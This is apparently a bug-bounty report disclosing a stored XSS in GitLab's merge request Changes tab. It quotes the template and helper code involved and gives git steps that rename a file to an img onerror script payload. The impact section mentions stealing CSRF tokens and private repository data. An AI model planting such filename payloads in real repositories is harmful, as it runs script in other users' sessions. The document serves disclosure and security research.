Stored XSS in filename inside Changes-tab of Merge Request when renaming file

By: @fransrosen

https://hackerone.com/reports/303384

When renaming a file, the file header shows a diff between the new and the old name on the /frans/test/merge_requests/3/diffs-page. When the diff is in the name (file was moved) the names of the file is not sanitized properly, triggering javascript inside the filename when accessing the /diffs-endpoint.

I'm not that great on how HAML works, but my guess is it has something to do with the _file_header.html-file located here: https://gitlab.com/gitlab-org/gitlab-ce/blob/master/app/views/projects/diffs/_file_header.html.haml#L19

      - old_path, new_path = mark_inline_diffs(diff_file.old_path, diff_file.new_path)
      %strong.file-title-name.has-tooltip{ data: { title: diff_file.old_path, container: 'body' } }
        = old_path
      →
      %strong.file-title-name.has-tooltip{ data: { title: diff_file.new_path, container: 'body' } }
        = new_path

And the mark_inline_diffs:

https://gitlab.com/gitlab-org/gitlab-ce/blob/master/app/helpers/diff_helper.rb#L2

  def mark_inline_diffs(old_line, new_line)
    old_diffs, new_diffs = Gitlab::Diff::InlineDiff.new(old_line, new_line).inline_diffs

    marked_old_line = Gitlab::Diff::InlineDiffMarker.new(old_line).mark(old_diffs, mode: :deletion)
    marked_new_line = Gitlab::Diff::InlineDiffMarker.new(new_line).mark(new_diffs, mode: :addition)

    [marked_old_line, marked_new_line]
  end

My guess is that one step of sanitizing the output of mark_inline_diffs is missing because looking at the other functions in: https://gitlab.com/gitlab-org/gitlab-ce/blob/master/app/helpers/diff_helper.rb#L2 we see that they actually go html_safe on them, but the mark_inline_diffs does not.

PoC

Create a new repo in Gitlab.

Clone it locally and do:

touch "test.txt"; 
git add test.txt; 
git commit -am "test";
git push --set-upstream origin master;
git co -b poc; 
mv test.txt "<img src=x onerror=alert(document.domain)>";
git add .
git commit -m "test2";
git push --set-upstream origin poc

Now create a Merge Request from poc to master. Look at the Changes-tab and the javascript will trigger. This tab is accessible directly using /diffs-route of the merge-request.

Impact

The stored XSS is triggering for anyone, also triggering on gitlab.com, and it can trigger on public repos. You could easily build a PoC that would modify the email address of the current user stealing their CSRF-token as soon as the script triggers, or stealing information about private repositories.